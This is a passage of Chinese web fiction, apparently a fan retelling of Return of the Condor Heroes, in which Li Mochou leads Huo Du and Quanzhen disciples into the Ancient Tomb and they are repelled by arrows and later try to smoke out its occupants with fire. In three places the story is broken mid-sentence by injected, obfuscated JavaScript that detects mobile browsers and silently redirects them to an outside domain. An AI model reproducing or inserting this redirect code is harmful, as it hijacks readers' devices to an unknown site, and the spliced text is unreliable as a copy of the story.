小童子剑势未尽,小龙女的剑光已从左侧接上;小龙女足尖刚落,小童子便顺着她空出的半寸缝隙递出下一剑。 两人的内息一冷一清,在经脉间自行流转,竟像同一道水分作两脉,又在剑尖重新合回一处。谁先谁后,谁攻谁守,已不用再分得那么清楚。 剑光一生一合,像两道彼此照见的月光。小童子与小龙女同时明白了什么。不是石壁上的图,不是心法里的字,也不是招式如何精妙。 玉女心经的核心,原来是舍身相救。 是明知对方有危险,自己便舍去退路营救。 她们也在这一刻明白,林朝英为何说李莫愁不适合玉女心经。 因为李莫愁没有这样的心。 双剑合璧一起,形势瞬间逆转。 小龙女剑势清冷如霜,小童子剑势灵动如网。两人一攻一守,一进一回,竟像同一口气息分成两道剑光。李莫愁初时还能支撑,片刻后便被逼得步步后退。 最后,小童子剑锋停在她喉前三寸。 小龙女的剑则封住她所有退路。 李莫愁忽然笑了。 她松手,拂尘落地。 “呵呵呵。”她笑声轻而冷,“这就是玉女心经剑法吧。师父真是偏心。” 小童子皱眉。 她想解释。 想说不是偏心,想说这门剑法不是想要就能练,想说若师姐愿意留下,她和龙儿可以把寒冰床让给她,也可以把掌心剑教给她。 可她看着李莫愁那双眼,忽然觉得无用。 那不像一双听得进话的眼睛。 但她还是开口:“师姐,你回来。我们把寒冰床给你。玉女心经不能给,但是……(我和龙儿琢磨出可能比玉女心经更厉害的武功,我们可以教给你。)” “闭嘴!” 李莫愁厉声打断她。 她满脸怒容,像被这句话刺得比方才剑锋更痛。 “凭什么我身为大师姐,却不能得到玉女心经!” 小童子抿紧唇。 小龙女知道小童子想说什么,便接着她的话道:“我和童儿琢磨出更厉害的秘诀,可以教给你。玉女心经不行,因为师父不允许。” “够了!” 李莫愁冷笑。 “不愿意给就是不愿意给,说什么更厉害的秘诀。你们两个小屁孩,能比师父老人家厉害?” 她忽然把脖子往小童子剑锋上一送。 “要杀要打,随便你们!” 小童子下意识收剑。 就是这一瞬。 李莫愁足尖一点,从小童子身侧的疏漏中窜了出去。她身法极快,还顺手捞起拂尘,然后转眼便掠入甬道深处,连洪凌波也没有看一眼。 洪凌波还跪在原地,穴道未解,眼睁睁看着那道背影消失。 她脸上有一瞬茫然,像是想喊一声“师父”,可声音到了喉间,又被她硬生生咽了回去。 小童子站在原地,沉默许久。 小龙女走到她身边,重新牵起她的手。 她没有说“别难过”。 因为她知道,小童子此刻未必是难过。 更像是终于看清了一个人,却仍不知道该把旧日那些记忆放在哪里。 两人走到洪凌波身边。 小龙女抬手,在她身上点了几处穴道,解开小童子方才留下的禁锢。 洪凌波脸色发白,仍跪在地上,不敢乱动。 小龙女问:“你和师姐是什么关系?” 洪凌波忙道:“我是师父的徒弟。” 小童子看着她。 李莫愁连徒弟都不管,便独自逃了。 她忽然又想起林朝英说过的话。 师父是对的。 师姐真的不适合玉女心经。 小童子看向小龙女。 杀不杀,放不放,终究该由掌门来定。 小龙女看了洪凌波片刻,道:“你走吧。” 小童子收回剑:“还有,叫声师叔再走。” 洪凌波怔了一下,随即极快道:“师叔好,掌门好。” 她又偷看两人一眼,补得更快:“我走了。” 话音未落,她已爬起身,踉踉跄跄往李莫愁逃走的方向追去。 甬道重新安静下来。 外头仍有烟火与人声。 古墓深处却只剩小童子和小龙女并肩而立。 小童子低头看着两人重新交握的手。 过了很久,她轻声道:“龙儿。” “她真的不会留下。” 小龙女握紧她。 这一次,小童子没有哭。 只是觉得掌心很冷。 于是她把小龙女的手握得更紧了一些。 18. 箭雨 李莫愁离开活死人墓后,并没有下山。 她从暗道掠出时,山风夹着烟气扑面而来。墓外原本清冷的林子,此刻被熏得灰白一片。湿草燃出的浓烟贴着地面缓缓铺开,像一层脏雾,缠在松根、石阶和枯枝之间。远处人声嘈杂,咳嗽声、咒骂声、兵刃碰撞声混在一起,听得人心烦。 李莫愁站在一块覆着青苔的山石后,回头看了一眼古墓方向。 黑暗里的甬道似乎还在身后延伸。 那两个师妹的剑光,也仿佛还在眼前。 小龙女的冷,小童子的沉默,还有两人双剑合璧时那种毫无缝隙的默契,都叫李莫愁心里不舒服。那不是单纯输了一场的恼怒,而是多年不曾回头的旧伤被人重新撕开。她曾以为自己离开了古墓,古墓里的一切便都停在原处,等她想起时,仍可以照着旧日模样去取、去夺、去恨。 可今日她才发现,古墓没有停。 小龙女长大了。 小童子也长大了。 她们甚至不再需要她。 李莫愁冷冷一笑,拂尘在袖中一收,转身向墓外乱处走去。 霍都正被玉蜂叮得狼狈。 他半边脸肿起,脖颈上也起了几个红肿小包。手下人正替他驱赶绕来的蜂群,有人拿衣袖乱扑,有人举着火把四处挥舞。霍都一贯爱风度,此刻发冠都歪了几分,脸色难看得很。 李莫愁从烟雾中走出。 霍都先是一惊,随即抬起折扇,戒备地看着她:“你是什么人?” 李莫愁笑道:“能带你进古墓的人。” 霍都眼神微动。 四周几个番僧和江湖客也停了手。 李莫愁看向活死人墓紧闭的方向,慢慢道:“你们在外头放烟熏蜂,闹得这般狼狈,不过是因为不得其门而入。古墓里面道路复杂,机关暗伏,若无人带路,进去了也是送死。” 霍都眯眼:“你知道路?” “我在里面长大。”李莫愁淡淡道。 此话一出,周围人顿时哗然。 有人低声道:“她也是古墓派的人?” 有人盯着她手中拂尘,露出贪婪神色。 霍都却笑了:“姑娘既是古墓中人,何以帮我?” 李莫愁看他一眼:“古墓里有你要的美人,也有你要的金银珠宝。你可以拿。” 霍都折扇轻轻一敲掌心:“那姑娘要什么?” 李莫愁道:“武功秘笈归我。” 霍都的笑意更深。 有人拱手送礼,他自然没有不收的道理。美人,宝藏,秘笈,若真进了古墓,到了谁手中还不一定。此刻先有人带路,便比在外头被蜂叮成猪头要强得多。 他拱了拱手,笑得风流:“成交。” 李莫愁看得出他的心思,却不点破。 她要的也并不是霍都守诺。 她不过是要这些人替她试路,再替她逼那两个师妹交出《玉女心经》。 墓门外,很快又乱了起来。 霍都命人继续取湿草干柴,合力弄死玉峰群。 全真教的人本来正与这群江湖杂流打成一团,见李莫愁忽然出来从古墓出来,又听她说古墓之人,脸色都变得极为难看。 小童子先前杀了全真教弟子,古墓之人已经成为全真教死敌,李莫愁却浑然不知,现在她已成了全真教恨之入骨的死敌之一。 有人按剑便要冲上去拿她,可想到墓中那两个少年才是眼前急务,若在此时与李莫愁死斗,反倒误了取他们首级的大事,便都强忍下来。 霍都则在旁煽风点火:“诸位道长不是要冲入古墓杀敌吗?如今有路可进,怎么反倒缩手缩脚?” 全真教众人原本恨极了古墓,却被他说得面上挂不住,终究有人咬牙道:“先驱蜂。” 于是方才还互相厮杀的两拨人,竟短暂齐心起来。 干草、湿枝、破布、油脂,都被堆到墓门附近。有人扇风,有人点火,有人以长衣驱赶蜂群。浓烟一阵一阵往墓门里灌,玉蜂被烟熏得四散乱飞。许多玉蜂跌落在地,翅膀抽动几下,便不再动。 小童子若在这里,定会皱眉。 那些玉蜂是古墓养了许多年的蜂。 可此刻墓外众人只顾进墓,哪里会管这些。 烟越熏越重。 灰白烟雾从墓门缝隙往里钻,山石上凝了一层潮湿黑灰。地上的玉蜂越来越多,密密麻麻铺在草叶与泥土间。也仍有不少玉蜂扑向人群,叮得人惨叫,可比起先前铺天盖地的阵势,已弱了许多。 霍都用袖子捂住口鼻,眼中露出喜色。 “差不多了。” 李莫愁拂尘一抬:“走。” 她与霍都走在最前。 身后跟着番僧、江湖客,还有一部分全真教弟子。其余人或因惧怕玉蜂,或因伤痛难忍,留在墓外观望。 可贪念和怒火已把许多人推到墓门前,他们可不愿眼睁睁看着旁人先进古墓。 火把一支接一支点起。 众人举着火光,踏进活死人墓。 甬道里很黑。 即使有火把,光也照不远。石壁吞着火色,潮气从四面八方压来。 脚步声一多,狭窄甬道便显得格外逼仄。人挤着人,刀柄碰着剑鞘,火把的灰屑往下落,踩在地上发出细碎声响。 刚踏进墓中时,众人只觉这里阴冷。 再走几步,才觉出不对。 太静了。 静得像所有声音都被石壁吃掉。 霍都看了李莫愁一眼。 李莫愁仍旧往前走,神情看不出什么。 她确实知道一些路。 但古墓太久没有回来,许多机关暗道也并非她全然熟悉。她走得并不快,每到转角,便会停顿一下,借火光辨认石壁纹路和脚下石砖。 霍都嘴上不说,心里却更戒备。 身后有人催促:“前面怎样了?” 又有人低骂:“别挤!” 甬道本就窄,勉强只能容下两三人并行。人数一多,后面的人看不清前方,只能被推着往里走。 越往里,空气越冷,烟火气与潮气混在一起,呛得人喉咙发痒。 就在这时,前方火光尽头,忽然出现了两道人影。 小童子和小龙女站在甬道中央。 两人不知何时已等在那里。 她们身后是更深的黑暗,身前是入墓的人群火光。火色照到她们脸上,一冷一静,像两尊从石壁中走出的白玉像。 两人手中皆持弓。 弓已满弦。 箭尖冷冷指向来人。 霍都瞳孔一缩。 李莫愁脸色也微变。 下一瞬,箭已离弦。 小龙女与小童子几乎同时松手。 弓弦轻响在甬道里被放大,像两声短促冷厉的琴音。箭矢破空而来,快得叫人来不及细看。 最前方一名番僧手腕中箭,火把脱手落地。 另一名全真弟子腿上中箭,惨叫一声跪倒。 小童子和小龙女没有说话。 她们搭箭,开弓,松弦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750831|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' /p> 动作又急又快。 一箭接一箭,像黑暗里骤然落下的冷雨。 霍都见势不妙,几乎在第一轮箭雨后便往后退。他折扇一收,身形一矮,借身旁番僧遮挡,迅速往后方人群里钻。 李莫愁比他更快。 她一见两人举弓,便知正面冲不过去。古墓甬道狭窄,前方无遮无挡,后面又挤满人。若硬闯,便是把自己送到箭下。她拂尘一扫,打落一支射向肩头的箭,随即借身侧一名江湖客的身影遮住自己,往后撤去。 后方的人并不知道前面发生了什么。 他们只听见前方惨叫,以为触发了机关,纷纷往后退。可更后面的人还在往里挤,喊着“前面走啊”“别挡路”。一时间,前推后退,人撞人,人踩人,火把乱晃,整条甬道立刻乱成一团。 小童子和小龙女仍在射箭。 她们本意只是威慑。 箭尖所指,多是手腕、脚踝、肩膀、膝侧。凡中箭者,便失了兵刃或跪倒在地,再难前进。她们不愿在墓中大开杀戒,只想让这些人知难而退。 可人群乱得太快。 有人举刀格挡,被后面的人撞得往前一扑,原本射向手臂的箭便扎进胸口。 有人转身逃跑,刚好撞上同伴火把,痛叫着仰头后倒,另一支箭从脸侧擦过,没入头颅。 有人倒在地上,还未来得及爬起,便被身后惊慌退走的人踩住手臂、胸腹、喉咙。 甬道狭窄得可怕。 两三人并行尚嫌局促,如今十数人挤在前段,后头还有人推搡,惨叫声便一层叠一层。火把掉在地上,被脚踩灭,火星四散。黑暗一压下来,众人更慌。 “退!退!” “前面有箭!” “谁踩我!” “别推!” “啊——” 小童子指尖微微一顿。 她看见有人被踩得动弹不得。 那人穿着全真教道袍,年纪并不大,手里还死死攥着一柄剑。剑未出鞘,人已被同门和江湖客踩在脚下。旁边又有一个三教九流的汉子肩上中箭,想扶墙站起,却被后退的人撞倒,头磕在石阶边,再也没能起来。 小童子的箭原本没有瞄准他们的死穴。 可他们还是死了。 死在慌乱里。 死在彼此踩踏里。 死在这些人只顾自己逃命的本能里。 小龙女神色仍冷。 她搭箭的手也稳。 但她的目光同样扫过那些倒下的人。她知道,这不是她和小童子最初想要的结果。可入墓的人太多,甬道太窄,贪念与惊惧一旦挤在一起,便会比机关更容易杀人。 李莫愁已退到古墓之外。 霍都也挤了出去。 两人脸色都不好看。 他们原本想借众人冲开古墓,没想到才踏进甬道,便被两个少年用弓箭堵在狭窄通路里。前方的人被射倒,后方的人不明所以,整个队伍像一条被自己尾巴缠住的蛇,只能在黑暗里翻滚挣扎。 甬道里,箭雨仍落。 火光明灭。 惨叫声不断。 有人喊着全真教的师兄师弟,有人骂着霍都和李莫愁,有人只顾把前面的人往后扯,把后面的人往旁边推。 古墓甬道本该幽冷安静,如今却满是烟火、血气、灰尘与人的恐惧。 小童子站在黑暗里,弓弦再次拉满。 小龙女在她身侧,箭尖同样冷冷向前。 甬道前方,已无人能再稳稳往前一步。 19. 找补 墓门外早被众人踩得不成样子,草根翻起,石缝里积着冷灰,几截残火在风里一明一灭。 人群终于从活死人墓里退了出来。 与其说是退,不如说是被挤出来、推攘出来。 几名江湖客最先滚出来,根本站不稳,脚下一滑,便扑进满地泥灰里,手掌按碎了枯枝,也按灭了还冒着余烟的火把。 被烟熏死的玉蜂散在泥土间,玉色的翅膀早沾成了灰黑。有人半张脸蹭过去,额头、鼻梁、衣襟全糊了一层脏灰,爬起来时已看不出几分江湖人的威风。 除了李莫愁和霍都。 其他人几乎没有一个还像样。 有人外袍被扯开半幅,袖子只剩一截挂在臂上;有人腰带不知被谁拽断,衣襟散开,露出胸前被撞出的青紫;还有人后背裂开一道长口子,布料翻卷着,像被乱刀划过。 墓中退得太急,人人都想先挤出那道窄门。前头的人被后头推得踉跄,后头的人又被旁边的人扯住衣领。有人嫌同伴挡路,抬肘便撞;有人急红了眼,竟用刀和剑往前捅开空隙。刀、剑、枪在混乱里乱撞乱戳,谁也顾不上那一下究竟伤了谁。 他们脸上、手上都是之前被蜂蜇出的红肿,也有人肩头还插着古墓中射出的箭,箭杆随着他奔跑一颤一颤。 有人刚跑出几步,便膝盖一软,跪倒在地,口中骂声和痛叫混在一起。 墓门狭窄,甬道更窄,几十上百人一股脑涌进去,如今再退出来,便比进去时更狼狈。 惨叫声、咳嗽声、咒骂声,一阵一阵撞在墓前山壁上。 他们其实并未走进多远。 不过穿过墓门,进了前段甬道,连传闻中最可怕的机关都没有触动。 没有暗弩飞出,没有石门封路,没有翻板吞人,也没有迷宫般的岔道叫人走失。 他们只是看见了两个少年。 两个站在黑暗深处、手持弓箭的少年。 然后,整支队伍便退了。 退得如此狼狈,甚至死伤了不少人。 这件事若说出去,实在太难听。 墓外风一吹,冷意从烟雾里渗出来。众人渐渐从惊惶里回过神,羞恼便随之涌上来。 “霍都!” 有人率先骂出声。 那是个肩头中箭的汉子,面色铁青,坐在一块石头旁让同伴替他拔箭。他疼得满额冷汗,眼睛却死死瞪着霍都。 “不是你说有路可进么?不是你说古墓里都是美人宝藏么?老子连石室都没看见,差点死在甬道里!” 另一人立刻附和:“还有那古墓女人!说什么在里头长大,知道路,结果一进去就被箭堵回来。你们两个是不是早知道里面有人埋伏?” “我看就是拿我们探路!” “不错!他们两个跑得最快!” “前头箭一来,他们就往后钻,让我们挡在前头!” 骂声越起越多。 霍都脸色阴沉。 他半边脸仍肿着,被玉蜂叮过的地方又痛又痒。 方才在甬道中,他确实退得快,也确实借人遮挡,身上只被一支箭擦破了袖口。 如今被众人指着鼻子骂,他眼底闪过怒意,却没有立刻发作。 他知道此时不宜再激怒这些人。 乱起来可以,但乱到全冲着他来,就不好了。 霍都缓缓展开折扇,像还想维持一点风度,可扇面一打开,才发现扇骨上也沾了血和灰。他眉头一跳,索性又合上。 “诸位急什么?”他冷声道,“方才里头何等凶险,你们自己没看见么?那两个古墓少年,可不是寻常人。” “少拿这话糊弄人!” 有人怒骂。 霍都却顺着这话往下说:“糊弄?你若觉得我糊弄你,你再进去试试。方才那箭,你挡得住几支?” 那人顿时一滞。 旁边一个全真弟子脸色难看,捂着被射穿的小臂道:“那箭确实古怪。” 这话一出,周围几人立刻看向他。 那全真弟子像终于找到台阶,咬牙道:“我分明以剑去格,可箭上力道极重,震得我虎口发麻。那两个少年内力深厚,箭矢上必然灌了内劲。” 另一个道士立刻接话:“不错!我也看见了。箭来得太快,寻常弓箭绝无这等声势。” “她们用的是古墓派秘法?” “定是如此。” “我看那箭头上也有问题。”一个江湖客捧着自己肿起的手腕,脸色发白,“我中箭之后,整条胳膊都麻了,怕不是淬了毒。” 旁边人立刻变色:“毒箭?” “古墓派果然阴毒!” “难怪我兄弟只被箭矢擦过脸侧,便倒了下去!” 这话越传越快,越传越真。 原本只是几个伤者为了遮掩自己的惊慌,胡乱找个说法。 可人群一旦开始附和,话便越来越像真的。 有人说箭上有毒,有人说箭里灌了阴寒内劲,也有人说那两个少年根本不是凡人,而是练了古墓秘法,能在黑暗里看清每一个人的死穴。 说得越玄,众人脸色反而越好看些。 若只是被两个少年用普通弓箭逼退,那是无能。 可若那箭矢带着汹涌内力,箭头淬毒,出手者又是神功惊人的古墓高手,那他们退出来,便不算怯懦,反倒像是识时务。 于是说法越来越夸张。 “我看见了,那白衣少年一箭射出,箭身上都有寒气!” “她们站在黑处,眼睛像能发光。” “弓弦一响,三支箭同时飞来,哪是凡人能做到的?” “别忘了,她们方才在全真教广场上杀了郝真人!” “可不是?全真七子都挡不住,我们退一退,又有什么丢人?” 全真教众人听见“郝真人”三个字,脸色都沉了下去。 有人怒,有人羞,也有人沉默。 他们想反驳,却又无从反驳。 郝大通确实死了,死在那两人剑下。 此刻他们再说那两人不过是小辈,便连自己都觉得站不住脚。 李莫愁站在一旁,冷眼看着。 她手中拂尘垂落,银丝上沾了一点烟灰。火光和烟雾在她脸上明明灭灭,她眼底却静得很。 众人的话,她听得一清二楚。 她知道这些人在做什么。 找补罢了。 明明是自己胆小,明明是自己无能,明明是见箭便乱、遇伤便退,却非要把小龙女和小童子说成神功无敌、箭上有毒,好让自己的狼狈显得不那么可笑。 李莫愁心中冷笑。 她在甬道里看得很清楚。 箭头没有毒。 至少没有她冰魄银针那样的毒。 若真淬了毒,方才那些中箭的人早该倒下一片,而不是现在还能捂着伤口在外头叫骂。 至于所谓箭矢上灌了汹涌内力,更是荒唐。 小龙女和小童子拉弓确实快,也确实稳,力道不弱,可她没有看见什么玄妙心法。 最多只能说,古墓中那批箭矢质量很好。 箭杆直,箭头利,弓也强。 再加上那两人手稳眼准,又熟悉黑暗甬道,站位占尽地利。 距离那么近,甬道那么窄,连穿两人手臂也不是不能做到。 可这些人不愿承认。 他们宁肯相信自己败给了毒箭和神功。 李莫愁唇角微微一挑。 可笑归可笑,她心里却并不轻松。 因为这些人的夸大里,也有一点是真的。 小龙女和小童子确实比她想的更强。 尤其是小童子。 当年那个哭得鼻尖红、被她一捏脸便泪眼汪汪的小东西,如今站在黑暗里,持弓搭箭,竟能将这几十上百人堵得不得寸进。 她出手不见杀意,却比许多满脸凶相的江湖客更叫人难受。 小童子变了。 变得不再容易被她逗哭,也不再容易被她哄骗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750832|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 变得……像真正的古墓中人了。 李莫愁不喜欢这个念头。 何况全真教的人还说,她们杀了郝大通。郝大通乃全真七子之一,此事不论真假,都足以说明这两个师妹的本事,已远远超出她的意料。 除非全真教的人,也像此刻一般,为了颜面信口雌黄。 她目光掠过那些倒在墓门前的人。 伤者、尸体、跪地发抖的全真弟子,以及那些忙着推卸、咒骂、遮掩惊惧的脸,都一并落入她眼中。 血气混着烟气,弥散在林间。 霍都也听见那些夸张说法。 他本想反驳一句,可转念一想,竟觉得这说法有用。 若承认自己被两个古墓少年普通箭矢吓退,实在损他颜面。 若说对方箭上带毒、内力惊人,便能把自己的狼狈遮去大半。 于是他冷笑道:“诸位如今知道厉害了?我早说过,活死人墓不可小觑。那两个少年能杀全真七子之一,又岂能只会几招花架子?” 全真教中有人怒道:“郝师叔之仇,我等必报!” 霍都道:“报仇自然要报。只是眼下硬闯,等同送死。” “难道就这么算了?” “当然不能。” 霍都抬眼看向墓门。 浓烟早已散去,墓门仍黑沉沉地开着,像山腹中张开的一只眼。 里面没有声音,也没有箭再射出来。可方才的箭雨已在人心里留下阴影,一时竟无人敢再靠近那入口。 霍都缓缓道:“既然她们仗着甬道狭窄、黑暗难辨,用弓箭占便宜,那便不能再照方才那样一股脑往里冲。” 旁边有人问:“那要如何?” 霍都没有立刻答。 李莫愁也没有说话。 她仍望着墓门。 她知道古墓并未真正动用机关。 小龙女和小童子甚至没有放出那些更深处的杀阵。方才那一场,于她们而言,大约也只是警告。 可警告已经足够。 几十上百人,尚未触及古墓真正深处,便死伤狼藉,人人心惊。 李莫愁忽然觉得胸口又烧起那股熟悉的恨意。 师父留下的机关,师父留下的心法,师父留下的杀阵,全都护着那两个师妹。 而她这个大师姐,此刻却站在墓外,与一群贪婪、愚蠢、吵闹的人为伍。 这个念头让她脸色冷了下去。 周围还在吵。 有人咒骂霍都。 有人咒骂李莫愁。 有人骂古墓派阴毒。 也有人一边包扎一边发誓,等会再进去,定要把那两个少年抓出来碎尸万段。 李莫愁听着这些话,眼中冷意更深。 她不喜欢旁人这样说小龙女和小童子。 可她更不喜欢自己竟然不喜欢。 于是她抬起头,冷冷道:“吵够了么?” 她这一声不高,却含了内力。 周围人声微微一滞。 李莫愁拂尘一扬,银丝在烟雾里划出一道冷白弧线。 “想进去,就闭嘴想办法。不想进去,就滚下山。” 她目光扫过众人,最后停在霍都身上。 “方才那条路走不通。” 霍都眼神微动:“姑娘还有别的路?” 李莫愁没有立刻回答。 她当然不知道别的路。 可她知道,古墓再深,再冷,再多机关,总还有缝隙。人只要有欲望,也总会被逼出办法。 她看向墓门深处,唇边慢慢浮起一点笑。 “路总会有的。” 众人听了这话,神色各异。 有人仍惊魂未定,有人眼中又浮起贪念,也有人低头看着死伤同伴,脸上露出退意。 山风吹过。 烟雾被吹散一层,又聚回来一层。 活死人墓入口仍黑着。 像在无声看着这些人咒骂、自欺、贪婪、恐惧。 20. 火攻 众人在墓门外吵了许久,最后想出来的办法,竟然是火。 这办法粗陋,却也最合众人心意。 古墓再深,再冷,再多机关,终究是石室甬道。人不能硬闯,烟却能钻进去;箭挡在前头,人不敢再进,火却不怕箭。 只要把火烧进去,把烟灌进去,里头的人不是被逼出来,便是被活活熏死。 这个主意一出口,许多人都觉得有理。 “烧!”一个江湖客捂着被箭射穿的肩,咬牙道,“他们躲在黑暗里放冷箭,咱们就把那黑洞烧亮,熏死他们!” “把甬道堵了,看她们往哪里躲。” “古墓里有的是宝贝,烧坏了怎么办?”有人又舍不得。 旁边立刻有人骂:“人都进不去,再多宝贝有什么用?” 霍都听着这些话,目光在墓门上停了片刻。 他心里其实也有些犹豫。 不管是美人,还是宝藏,若真被大火烟气毁了,那就太可惜了。 可眼下这群人已经被吓破一半胆,再叫他们硬冲进去,谁也不肯第一个往前。 火攻虽笨,却至少能让他们觉得自己还在进攻,而不是被两个少年吓得只会在外头裹伤。 李莫愁没有说话。 她站在一棵松树下,拂尘垂在臂弯里,一缕斜光穿过松针,照得浮沉粒粒浮明,轻轻掠过她半边侧脸。 她知道活死人墓多是石室,寻常火未必能真烧到深处。 可烟气难防,尤其是入口甬道一旦堆满熊熊燃烧的柴火,浓烟便会贴着甬道往里灌,里面的人多多少少都要受熏;熏得久了,迟早要露面。 小龙女和小童子会不会被逼出来? 这个念头让她心里有一瞬说不出的快意。 随即又掠过另一丝烦躁。 那两个师妹若真被火烟伤了,她会高兴么? 李莫愁厌恶这种迟疑,便冷着脸移开目光。 众人很快动了起来。 古墓周围原本林木葱郁,松柏苍苍,许多树在终南山风雪里立了不知多少年。 树根盘在山石间,枝叶遮着墓门前的冷光。如今刀斧齐落,枝干纷纷断裂。 全真教弟子用剑斩枝,江湖客用刀劈木。 番僧们力气大,几人合抱粗的枯木,被他们以掌力震断,再拖到墓门前。 有人使轻功跃上树梢,连砍带折,将枝叶整片整片扯下来。 一时间,林间满是砍伐声。 松枝折断时发出清脆裂响,树叶被拖过泥地,带起潮湿草腥气。 被玉蜂叮过的人一边咬牙干活,一边时不时伸手去抓脸颊、脖颈和手背。 那痛痒并未退去,越挠越肿,有人肿得眼睛只剩一条缝,挥刀时连方向都看不准。 “别挠!”有人骂,“越挠越难看!” “你来试试!”那人怒道,“这蜂毒像火针钻在肉里!” 话刚说完,他又忍不住狠狠抓了一把,疼得龇牙咧嘴。 墓门前很快堆起了柴。 干柴在下,湿草在上,破布、油脂、枯叶都混在其中。 有人点火,火舌先是细细一线,随即沿着干枝往上蹿。松脂被烧出噼啪声,火光映得众人脸色忽明忽暗。 他们不敢离甬道太近。方才那一场箭雨仍在心头。谁也不知道黑暗里那两个少年是否还站在原处,是否仍有箭搭在弦上。因此众人只敢站在墓门附近,把柴火与火把往里扔。 近一些的人,用长木杆挑着燃烧的草束,往甬道深处送。 远一些的人,便运起巧劲,将点燃的木柴抛进去。 有的使暗器手法,有的借掌力推送,有的以剑尖一挑,火把便旋着飞进黑暗。 火光一支支落入甬道。 黑暗被撕开,又很快被烟遮住。 古墓入口原本幽深得像一口冷井,此刻却渐渐亮起一片不安的红。 火把撞在石壁上,火星四散;燃烧的柴枝滚到地上,发出沉闷声响;湿草烧出的浓烟越积越厚,像灰色水潮,往甬道深处涌去。 “再扔!” “把前头堵满!” “烧死她们!” 有人喊得亢奋。 也有人只是咬牙干活,不知究竟是为了报仇,还是为了不让自己显得害怕。 好不容易,肉眼能看见的甬道前段都被柴火堵住了。 火堆横在入口里,像一道粗暴的火墙。火光映着石壁,照出许多摇晃的影子。烟气往里灌,也从墓门往外翻,众人被呛得连连后退。 再往深处,他们看不见,但他们已经觉得够了。 至少这一次,他们没有再站在原地挨箭。 众人退到远处,坐的坐,站的站,还有的倚靠在断木上。 一群方才还喊着夺宝、报仇、娶美人的人,此刻全像受伤的野兽,缩在树下、石旁、草地边,低头舔舐自己的伤口。 原本全真教冲得最快。 可当孙不二退下后,重阳宫群龙无首。 所以此刻,留在墓前的全真教众,虽人数不少,却并没有真正能压住局面的主心骨。 弟子们各有怒意,各有惊惧。 有人想冲,有人想退,有人只盯着火光,眼中满是茫然。 江湖杂流那边更是散漫。 他们本就不是一条心。来时是为了传言中的美人、宝藏、秘笈。真遇上玉蜂、箭雨和死人,心里那点贪念便被疼痛与恐惧浇灭了大半。 火烧起来时,他们还觉得有希望。 可一个时辰过去,古墓里没有动静。 两个时辰过去,仍旧没有动静。 火势反而慢慢弱了。 甬道前段的柴火烧成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750833|209414||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 焦黑,火舌从高处落下去,偶尔噼啪炸出一点火星。湿草烧尽后,烟气也不像方才那样浓了。墓门后方仍是一片黑,安静得近乎嘲讽。 里面没有人咳嗽,没有人惨叫,更没有被逼出来的身影。 像这场大火只烧给山林看,只烧给他们自己看。 霍都坐在一块石头上,脸色越来越难看。 他原本想等火烟把人逼出来,再趁乱行事。可古墓像一块冷硬的石头,任凭外头怎么烧,也没有半点反应。更叫他烦的是,身边人的眼神开始变了。 一开始,他们看墓门;后来,他们看火;现在,他们开始互相看。 看谁先说退。 不少受伤的全真教弟子,已经悄悄往山道方向挪。 有的扶着同门,说要送伤者回重阳宫医治;有的说去看看孙不二师叔有没有需要帮忙;还有的什么也不说,只低着头,把剑往背后一藏,慢慢退进林中。 他们并非不想报仇,可伤口在痛,蜂毒在痒。郝大通的死固然叫他们悲愤,但若继续留在这里,下一具成为尸体的,也许就是自己。 三教九流那边退意更明显。 一个肩上中箭的汉子低声道:“火都烧了两个时辰,连根头发都没逼出来。古墓里怕是真有别的出路。” 旁边人道:“那咱们守在这里有什么用?” “宝藏也得有命拿。” “再等等。”有人还不甘心,“万一她们只是撑着呢?” “撑你娘。”另一个人骂,“你想等就自己等,老子这手再不治就废了。” 话虽如此,那人却没有立刻走。 许多人都是这样,心里已经萌生退意,脚却还钉在原地。 不是因为勇敢,而是因为贪心还没死透。 他们总想着,万一再等一会儿,古墓里的人被烟熏晕了呢?万一那两个少年撑不住出来了呢?万一别人都走了,自己反而能捡到便宜呢? 捡死鸡。 这个念头比什么豪言壮语都顽固,于是他们硬撑着。 有人坐在树根上,眼睛盯着墓门,手却不停挠着被蜂叮肿的脸;有人靠在石头旁,嘴上说“再等半刻”,半刻之后又说“再等半刻”;有人已经收拾好兵器,却不肯第一个转身,怕被旁人笑成胆小。 火光渐低,烟雾渐薄。 山风吹过,焦黑的木柴塌了一截,露出后面仍旧幽深的甬道。 那黑暗像什么都没有发生过。 小童子和小龙女没有出来。 古墓也没有给出任何回应。 众人望着那片黑,忽然都觉得身上发冷。 不是山风的冷。 是等了两个时辰之后,终于发现自己所有火、烟、怒骂、贪念,都像丢进一口无底冷井里的那种冷。 井里没有回声。 也没有人回答。 21. 尝试 